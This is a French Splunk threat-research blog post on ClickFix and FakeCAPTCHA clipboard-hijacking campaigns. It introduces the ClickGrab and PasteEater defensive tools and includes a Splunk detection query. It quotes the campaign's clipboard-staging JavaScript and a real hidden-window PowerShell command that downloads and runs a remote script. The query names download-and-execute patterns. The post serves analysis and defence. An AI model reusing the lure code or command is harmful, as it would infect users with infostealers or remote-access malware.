Au-delà du clic : tout comprendre aux campagnes de faux CAPTCHA

Security Splunk , L’équipe de Recherche en sécurité

Les attaques d’ingénierie sociale restent les plus efficaces lorsqu’il s’agit de livrer des malwares ou de compromettre des systèmes. Dans ce domaine, nous avons vu émerger une tendance inquiétante qui a rapidement gagné du terrain : les campagnes de type « ClickFix » et « FakeCAPTCHA ». Ces attaques sophistiquées misent sur le fait que les utilisateurs ont l’habitude d’utiliser ces systèmes de vérification et emploient des techniques de manipulation du presse-papiers pour délivrer des charges malveillantes, sans exploiter la moindre vulnérabilité technique.

Observées pour la première fois début 2024, et devenues de plus en plus fréquentes tout au long de 2025, ces campagnes ont évolué et dépassé le cadre des simples opérations criminelles pour être adoptées par des acteurs étatiques. Ces attaques sont d’autant plus alarmantes qu’elles sont très efficaces malgré les interactions utilisateur qu’elles demandent. En comprenant les mécanismes de ces campagnes, les équipes peuvent mettre au point des stratégies pour les détecter et les neutraliser avant qu’elles ne compromettent les systèmes.

Dans ce blog, nous disséquons les campagnes ClickFix et FakeCAPTCHA, nous examinons des exemples de code réels, nous suivons leur évolution et nous proposons des stratégies de défense concrètes. Nous présentons également un outil spécialisé nommé « ClickGrab », conçu pour aider les équipes de défense à analyser ces menaces et à obtenir des informations utiles pour renforcer leur position de sécurité face à ces campagnes de manipulation. Nous proposons également une méthode pour intercepter les éléments ajoutés au presse-papiers de Windows à l’aide de PasteEater.

Anatomie des campagnes ClickFix et FakeCAPTCHA

Fondamentalement, ces attaques sont un exemple d’ingénierie sociale. Contrairement aux mécanismes traditionnels de livraison de malware qui exploitent des vulnérabilités logicielles, les campagnes ClickFix et FakeCAPTCHA reposent entièrement sur la manipulation du comportement de l’utilisateur.

Fonctionnement de ces attaques

  1. Accès initial : les victimes arrivent sur un site malveillant par différents biais (e-mail de phishing, publicité malveillante, site légitime compromis ou recherche de logiciel ou de contenu piraté).
  2. Interface trompeuse : le site présente ce qui semble être une interface de vérification CAPTCHA standard, avec l’habillage typique de Google reCAPTCHA ou de Cloudflare. Le soin apporté à l’apparence de légitimité est crucial pour la réussite de l’attaque.
  3. Piratage du presse-papiers : lorsque l’utilisateur interagit avec le faux CAPTCHA (en cochant la case « Je ne suis pas un robot », par exemple), du JavaScript malveillant copie des commandes en toute discrétion dans son presse-papiers.
  4. Ingénierie sociale : l’utilisateur reçoit alors des instructions l’invitant à réaliser des étapes de vérifications supplémentaires ; on lui demande par exemple d’appuyer sur Windows+R, puis sur Ctrl+V.
  5. Auto-infection : en suivant ces instructions, l’utilisateur colle et exécute sans le savoir la commande malveillante copiée dans le presse-papiers, et infecte lui-même son système.
  6. Livraison de la charge utile : le plus souvent, les commandes exécutées téléchargent et lancent un autre malware, généralement à l’aide de scripts PowerShell qui s’exécutent dans des fenêtres masquées pour un maximum de discrétion.

Composants psychologiques

C’est la manipulation psychologique qui rend ces attaques redoutablement efficaces :


(Exemple de FakeCAPTCHA, Splunk 2025)

(FakeCAPTCHA Confirmez que vous êtes humain, Splunk 2025)

Examen de code réel

Prenons un extrait de code provenant d’une campagne FakeCAPTCHA que nous avons analysée :

function stageClipboard(commandToRun, verification_id) {
    const suffix = " # "
    const ploy = "✅ ’’I am not a robot - reCAPTCHA Verification Hash: "
    const end = "’’"
    const textToCopy = commandToRun + suffix + ploy + verification_id + end
 
    setClipboardCopyData(textToCopy);
}
 
// Plus loin dans le code :
const htaPath = "-w hidden -c \"iwr ’https://yogasitesdev.wpengine.com/2/15.ps1’ | iex\"";
const commandToRun = "powershell " + htaPath;
stageClipboard(commandToRun, verification_id);

La structure du code révèle la nature manipulatrice de ces attaques. Lorsqu’un utilisateur clique sur le bouton de vérification, la fonction stageClipboard s’exécute et insère une commande PowerShell dans le presse-papiers, suivie de ce qui ressemble à un message de vérification légitime.

La portion commande à proprement parler (powershell -w hidden -c "iwr ’https://example.com/malicious.ps1’ | iex") est conçue pour :

  1. Exécuter PowerShell avec une fenêtre cachée (-w hidden)
  2. Télécharger une charge utile secondaire depuis un serveur distant à l’aide de Invoke-WebRequest (abrégée en iwr)
  3. Exécuter cette charge utile directement dans la mémoire à l’aide de Invoke-Expression (abrégée en iex)

Lorsqu’elle colle ce contenu dans son invite de commande ou dans l’outil Exécuter, la victime n’en voit que la portion inoffensive : ✅ ’’I am not a robot - reCAPTCHA Verification Hash: 328459’’. La commande malveillante, elle, s’exécute silencieusement.

Points communs et schémas des campagnes FakeCAPTCHA

En procédant à une analyse approfondie des campagnes ClickFix et FakeCAPTCHA à l’aide de notre outil ClickGrab, nous avons identifié des schémas récurrents qui en révèlent la construction. Ces points communs ne sont pas seulement utiles aux équipes de défense qui cherchent à repérer les sites malveillants, ils apportent également de précieuses informations sur les méthodes des auteurs de ces campagnes.

Références courantes à des domaines externes

Notre analyse des campagnes récentes met en évidence des références répétées aux mêmes domaines spécifiques, dans le but d’établir une légitimité de façade :

Domaine
Rôle dans l’attaque
www.google.com
Principalement utilisé pour référencer des ressources Google reCAPTCHA légitimes
use.fontawesome.com
Utilisé pour charger des polices d’icônes légitimes afin d’améliorer la crédibilité visuelle
cdnjs.cloudflare.com
Fournit les frameworks de front-end qui donnent une apparence professionnelle aux interfaces

Ces ressources légitimes sont délibérément mêlées à des composants malveillants pour créer une expérience utilisateur convaincante.

Éléments graphiques typiques

Toutes les campagnes FakeCAPTCHA ont plusieurs éléments graphiques clés en commun :

  1. Logo Google reCAPTCHA :

    • L’URL d’image https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png apparaît constamment dans les campagnes.
    • Ce logo familier instaure un sentiment de confiance immédiat chez les utilisateurs.
  2. Ressources typographiques :

    • Les fichiers CSS Font Awesome provenant de CDN sont chargés pour créer des composants d’interface à l’allure professionnelle.
    • Ces ressources légitimes facilitent le contournement des filtres de sécurité qui pourraient bloquer un contenu purement malveillant.
  3. Liens vers les politiques de confidentialité :

    • Les liens vers la politique de confidentialité et les conditions d’utilisation de Google apportent une couche supplémentaire de crédibilité.
    • Ces liens non fonctionnels sont purement cosmétiques, mais ils participent aux finitions du décor.

Schémas types dans la structure HTML

La structure HTML de ces faux systèmes de vérification suit étonnamment toujours les mêmes modèles :

html

<div class="recaptcha-box">
    <h2>Verify You Are Human</h2>
    <p>Please verify that you are a human to continue.</p>
    <div class="container m-p">    
        <div id="checkbox-window" class="checkbox-window m-p block">
            <div class="checkbox-container m-p">
                <button type="button" id="checkbox" class="checkbox m-p line-normal"></button>
            </div>

Cette structure est délibérément conçue pour imiter les implémentations légitimes de CAPTCHA tout en masquant les opérations JavaScript malveillantes qui se produisent lorsque l’utilisateur interagit avec les éléments.

Manipulation du presse-papiers par JavaScript

Le cœur de l’attaque se trouve dans le code JavaScript qui manipule le presse-papiers. Selon notre analyse, les campagnes malveillantes utilisent majoritairement document.execCommand("copy") pour pirater le presse-papiers des utilisateurs. Cette fonction JavaScript ne nécessite que des autorisations minimes tout en offrant de puissantes capacités d’attaque.

Nous observons également un autre motif récurrent : l’utilisation d’éléments textarea temporaires qui visent à préparer le contenu malveillant avant de le copier dans le presse-papiers :

  1. Création d’un élément textarea invisible
  2. Ajout de commandes PowerShell malveillantes
  3. Sélection du contenu de la textarea
  4. Exécution de la commande de copie
  5. Retrait de l’élément temporaire du DOM

La fonction « stageClipboard »

C’est sans doute la véritable signature de ces campagnes : nous avons retrouvé la fonction stageClipboard dans 12 attaques différentes, avec des implémentations extrêmement semblables :

javascript

function stageClipboard(commandToRun, verification_id) {
    const suffix = " # ";
    const ploy = "✅ ’’I am not a robot - reCAPTCHA Verification Hash: ";
    const end = "’’";
    const textToCopy = commandToRun + suffix + ploy + verification_id + end;
 
    setClipboardCopyData(textToCopy);
}

Cette fonction combine la commande malveillante à un texte inoffensif pour que la victime ne voie qu’un message de vérification lorsqu’elle colle le contenu du presse-papiers.

Schémas des commandes PowerShell

Les commandes PowerShell malveillantes suivent elles aussi des schémas typiques :

  1. Exécution dans une fenêtre masquée : toutes les campagnes ou presque utilisent le paramètre -w hidden pour empêcher les fenêtres PowerShell d’apparaître pendant l’exécution
  2. Livraison de la charge utile web : les commandes emploient généralement Invoke-WebRequest (abrégée en iwr) pour télécharger des charges utiles secondaires
  3. Exécution en mémoire : les charges utiles sont exécutées directement dans la mémoire à l’aide de Invoke-Expression (abrégée en iex) ; elles ne sont pas inscrites sur le disque, ce qui complique la détection

Les commandes présentent généralement la structure suivante :

powershell

powershell -w hidden -c "iwr ’https://[domaine-malveillant]/[chemin].ps1’ | iex"

Après l’infection, les charges utiles passent à l’action

Le piratage initial du presse-papiers n’est qu’une première étape. Une fois qu’elle est réussie, les attaques déploient généralement différents types de malwares :

Outils de vol d’informations (infostealers)

La charge utile la plus fréquente est un malware de vol d’information conçu pour collecter des données sensibles du navigateur : historique de navigation, mots de passe enregistrés, cookies et informations de saisie automatique. Ces programmes malveillants ciblent spécialement les répertoires où les navigateurs stockent des données sur l’utilisateur ; ils consultent et déchiffrent des fichiers pour obtenir un accès non autorisé à des informations personnelles et à des identifiants.

Quelques infostealers courants :

Trojans d’accès à distance (RAT)

Les RAT comme NetSupport confèrent aux adversaires un accès persistant aux systèmes compromis qui leur permet d’effectuer une surveillance constante, de voler des données et de se déplacer latéralement dans les réseaux.

Voici les RAT couramment déployés dans le cadre de ces campagnes :

Charges utiles multi-étapes

Beaucoup de campagnes déploient des « droppers », des mécanismes de dépôt qui installent ensuite plusieurs familles de malwares sur un même système :

  1. Le script PowerShell initial s’exécute
  2. Les charges utiles secondaires sont téléchargées (souvent sous une forme dissimulée)
  3. Différentes variantes de malwares sont installées

On a vu certaines campagnes déployer jusqu’à cinq familles de malwares différentes à partir d’une même infection initiale.

Découvrez ClickGrab, l’arsenal de la défense face aux menaces FakeCAPTCHA

Pour aider les équipes de sécurité à garder une longueur d’avance sur ces menaces dynamiques, nous avons créé ClickGrab, un outil d’analyse complet spécialement conçu pour détecter, analyser et comprendre les campagnes ClickFix et FakeCAPTCHA.


(Site d’analyse ClickGrab https://mhaggis.github.io/ClickGrab/, Splunk 2025)

Qu’est-ce que ClickGrab ?

ClickGrab est un puissant outil en Python pour PowerShell qui aide les chercheurs en sécurité et les équipes de défense à identifier et analyser les sites malveillants qui emploient de faux systèmes de vérification CAPTCHA pour mener des attaques d’ingénierie sociale. Il jette un pont entre la threat intelligence et les mesures de défense concrètes en réalisant :

Fonctionnement de ClickGrab

L’outil fonctionne selon deux modes principaux :

1. Mode navigateur (analyse interactive avec PowerShell)

Ce mode permet aux chercheurs en sécurité d’interagir en toute sécurité avec les sites web suspects tout en supervisant l’activité du presse-papiers :

2. Mode analyse (détection automatisée avec PowerShell et Python)

Ce mode non interactif effectue des analyses groupées sans interaction avec le navigateur :

Capacités de détection avancées

ClickGrab possède des techniques de détection sophistiquées capables d’identifier les menaces les mieux dissimulées :

L’interface analyste de ClickGrab

Les équipes de sécurité peuvent utiliser les capacités de ClickGrab via plusieurs interfaces :

  1. Interface en ligne de commande : pour les workflows de sécurité intégrés et l’automatisation

    # Exécution en mode analyse, recherche de campagnes FakeCAPTCHA
    .\clickgrab.ps1 -Analyze -Tags "FakeCaptcha,ClickFix"
    
    # On limite l’analyse à 5 URL et on inclut les campagnes antérieures
    .\clickgrab.ps1 -Analyze -Limit 5 -IgnoreDateCheck
    
    # On filtre sur certains tags avec une sortie de débogage
    .\clickgrab.ps1 -Analyze -Tags "FakeCaptcha" -Debug
    
  2. Application web Streamlit interactive : The ClickGrab Analyzer propose une interface utilisateur pour l’exploration visuelle des menaces, grâce à laquelle les équipes de sécurité peuvent :

    • analyser simultanément plusieurs URL,
    • consulter des résumés complets des menaces,
    • parcourir les indicateurs de compromission dans le détail,
    • identifier les faux éléments CAPTCHA et les mots-clés suspects,
    • suivre les techniques de manipulation du presse-papiers,
    • découvrir les commandes PowerShell malveillantes.
  3. Rapports automatisés : pour la threat intelligence en continu

    • Analyse de nuit via les actions GitHub
    • Rapports HTML hébergés sur les pages GitHub
    • Archive historique de l’évolution des campagnes FakeCAPTCHA
    • Accès direct aux IOC extraits et aux échantillons de code malveillant

Exemples de résultats d’analyse

Lorsque ClickGrab analyse une URL suspecte, il génère un rapport complet de la forme suivante :

{
  "URL": "https://jessespridecharters.com/v/",
  "RawHTML": "...",
  "Base64Strings": [],
  "URLs": [
    "https://use.fontawesome.com/releases/v5.0.0/css/all.css",
    "https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png",
    "https://www.google.com/intl/en/policies/privacy/",
    "https://www.google.com/intl/en/policies/terms/",
    "https://yogasitesdev.wpengine.com/2/15.ps1"
  ],
  "PowerShellCommands": [
    "powershell -w hidden -c \"iwr ’https://yogasitesdev.wpengine.com/2/15.ps1’ | iex\""
  ],
  "IPAddresses": [],
  "ClipboardCommands": [
    "powershell -w hidden -c \"iwr ’https://yogasitesdev.wpengine.com/2/15.ps1’ | iex\" # ✅ ’’I am not a robot - reCAPTCHA Verification Hash: 328459’’"
  ],
  "SuspiciousKeywords": [
    "I am not a robot",
    "Verification Hash",
    "reCAPTCHA Verification"
  ],
  "ClipboardManipulation": [
    "document.execCommand(\"copy\")",
    "navigator.clipboard.writeText"
  ],
  "PowerShellDownloads": [
    {
      "FullMatch": "iwr ’https://yogasitesdev.wpengine.com/2/15.ps1’ | iex",
      "URL": "https://yogasitesdev.wpengine.com/2/15.ps1",
      "Context": "User clipboard hijacking"
    }
  ],
  "MSHTACommands": []
}

Grâce à ces rapports détaillés, les équipes de sécurité peuvent :

PasteEater


(PasteEater, Splunk 2025)

S’il est indispensable de comprendre ces menaces, les équipes de défense ont aussi besoin d’outils pratiques pour protéger les utilisateurs. Pour relever ce défi, Will Metcalf a mis au point « PasteEater », une application Windows spécialement conçue pour intercepter et analyser le contenu du presse-papiers issu des processus du navigateur avant que les utilisateurs ne puissent exécuter des commandes potentiellement malveillantes.

Fonctionnement de PasteEater

PasteEater joue le rôle de couche proactive entre les opérations de copie du navigateur et le système de presse-papiers de Windows. Voici comment il procède :

  1. Supervision du presse-papiers : l’application s’exécute en arrière-plan et supervise les opérations de copie initiées par des processus de navigateur (Chrome, Firefox, Edge, etc.).

  2. Analyse de contenu : quand un processus de navigateur copie du contenu dans le presse-papiers, PasteEater intercepte l’opération et analyse le contenu du presse-papiers pour détecter des schémas suspects :

    • commandes PowerShell avec des paramètres de fenêtres cachées,
    • instructions d’exécution de commande (iwr | iex),
    • commandes encodées en Base64,
    • références à des domaines malveillants connus,
    • schémas JavaScript de manipulation de presse-papiers.
  3. Alertes utilisateur : en cas de détection de contenu suspect, PasteEater affiche un message d’avertissement indiquant :

    • le contenu brut du presse-papiers,
    • les éléments suspects en surbrillance,
    • des informations sur la nature potentiellement dangereuse du contenu,
    • des options pour poursuivre, modifier ou refuser l’opération du presse-papiers.
  4. Aide à la prise de décision : au lieu de bloquer automatiquement tout contenu suspect, PasteEater laisse le contrôle aux utilisateurs en donnant :

    • des explications claires sur le risque,
    • des indicateurs visuels pour signaler les éléments malveillants,
    • la possibilité de modifier le contenu du presse-papiers avant de l’utiliser,
    • des options pour coller le contenu modifié en toute sécurité.

Protection contre les attaques FakeCAPTCHA

Si PasteEater est aussi efficace contre les attaques FakeCAPTCHA et ClickFix, c’est parce qu’il :

  1. Rompt la chaîne d’attaque : en interceptant le contenu du presse-papiers entre le site malveillant et l’étape d’exécution des commandes, il offre une possibilité de détection et d’intervention.
  2. Révèle les commandes masquées : lorsqu’un site FakeCAPTCHA essaie de masquer une commande PowerShell avant un texte de confirmation (« ✅ Je ne suis pas un robot », par exemple), PasteEater affiche le contenu complet pour que l’utilisateur sache exactement ce qu’il est en train de coller.
  3. Fournit une protection en temps réel : contrairement aux antivirus traditionnels qui scannent les fichiers après le téléchargement, PasteEater intervient au moment précis où se déroule l’attaque, mais avant l’exécution.

Chaque organisation a ses propres exigences en matière de prévention ; nous donnons ici quelques pistes en espérant que l’une d’elles vous aide à réduire votre surface d’attaque.

Détections de sécurité Splunk

Pour aider les équipes de sécurité à se défendre contre ces campagnes de manipulation, nous avons mis au point du contenu de détection complet pour Splunk. Notre approche consiste à identifier les schémas et comportements typiques des attaques FakeCAPTCHA. Nous avons mis au point un scénario analytique pour aider les organisations à déployer rapidement du contenu ciblant ces attaques.

Windows PowerShell FakeCAPTCHA Clipboard Execution

Cette détection identifie les suspicions de campagne de piratage du presse-papiers FakeCAPTCHA/ClickFix en recherchant une exécution de PowerShell avec des paramètres de fenêtre masquée et des chaînes typiques des fausses vérifications CAPTCHA. Ces campagnes s’appuient sur l’ingénierie sociale pour inciter les utilisateurs à coller des commandes PowerShell malveillantes depuis leur presse-papiers, dans le but d’installer un infostealer ou un trojan d’accès distant.

| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time)

as lastTime FROM datamodel=Endpoint.Processes where `process_powershell`

AND (

(Processes.process IN ("* -w hidden *", "* -window hidden *", "* -windowstyle hidden *", "*-w h*", "*-wind h*", "*-windowstyle h*") OR Processes.process="*-w h*")

AND

(

(Processes.process IN ("*robot*", "*captcha-iogo*", "*Robot*", "*captcha-logo*", "*Captcha*", "*captcha-container*", "*captcha*", "*captcha-box*", "*CAPTCHA*", "*CaptchaListeners*"))

OR

(

(Processes.process IN ("*iwr *", "*Invoke-WebRequest*", "*wget *", "*curl *", "*Net.WebClient*", "*DownloadString*", "*[Convert]::FromBase64String*"))

AND

(Processes.process IN ("*|iex*", "*|Invoke-Expression*", "* iex *", "* Invoke-Expression *"))

)

OR

(Processes.process="*FromBase64String*" AND Processes.process="*iex*")

)

)

by Processes.action Processes.dest Processes.original_file_name Processes.parent_process

Processes.parent_process_exec Processes.parent_process_guid Processes.parent_process_id

Processes.parent_process_name Processes.parent_process_path Processes.process

Processes.process_exec Processes.process_guid Processes.process_hash Processes.process_id

Processes.process_integrity_level Processes.process_name Processes.process_path

Processes.user Processes.user_id Processes.vendor_product

| `drop_dm_object_name(Processes)`

| `security_content_ctime(firstTime)`

| `security_content_ctime(lastTime)`


(FakeCAPTCHA intercepté par une requête Splunk, Splunk 2025)

Conclusion

Les campagnes ClickFix et FakeCAPTCHA représentent une nouvelle étape dans la sophistication croissante des attaques d’ingénierie sociale, en mêlant manipulation technique et psychologie humaine. Si elles peuvent paraître simplistes quand on les compare à des chaînes d’exploitation avancées, elles tirent leur efficacité du fait qu’elles exploitent le composant le plus vulnérable d’un système de sécurité : la confiance humaine.

En misant sur des outils comme ClickGrab, PasteEater et d’autres fonctions natives de Windows, les équipes de défense peuvent obtenir de précieuses informations sur ces menaces, extraire des indicateurs de compromission et mettre sur pied des contre-mesures efficaces. Dans nos efforts pour améliorer nos défenses, le partage d’informations sur ces menaces reste l’un de nos plus puissants outils.

Faites preuve d’une vigilance constante et n’oubliez pas : un système de vérification légitime ne vous demandera jamais de copier-coller une commande ni d’ouvrir un terminal.

Ressources

Articles similaires

Magic Quadrant Gartner 2022 pour le SIEM : Splunk désigné leader pour la 9e année consécutive
Sécurité
5 min de lecture

Magic Quadrant Gartner 2022 pour le SIEM : Splunk désigné leader pour la 9e année consécutive

Splunk a été désigné leader du Magic Quadrant de Gartner 2022 dans la catégorie "Gestion des informations et des événements de sécurité" (SIEM). C’est la neuvième année consécutive que Splunk figure dans le Quadrant des leaders.
Ce qu’il faut savoir sur le SOC agentique
Sécurité
7 min de lecture

Ce qu’il faut savoir sur le SOC agentique

Dans un contexte marqué par une croissance exponentielle des données machine et une sophistication accrue des cybermenaces, l’intelligence artificielle s’impose comme un levier essentiel pour renforcer les capacités de cybersécurité, améliorer la proactivité opérationnelle et optimiser l’efficacité des équipes.
L’Angle d’Attaque de Splunk et Nomios pour affronter la complexité des SOC
Sécurité
4 min de lecture

L’Angle d’Attaque de Splunk et Nomios pour affronter la complexité des SOC

Comment est-ce que Splunk aide ses clients à faire face à la complexité croissante des environnements IT, à l’augmentation exponentielle des attaques et à l’évolution toujours plus rapide du paysage technologique ? Pour mieux comprendre les enjeux de sécurité d’aujourd’hui et de demain, Vincent Roy, Expert en cybersécurité, spécialisé dans les SOC, chez Splunk, et Luis Delabarre, Directeur des SOC de Nomios, ont accepté de répondre aux questions de Yasmine Daoudi.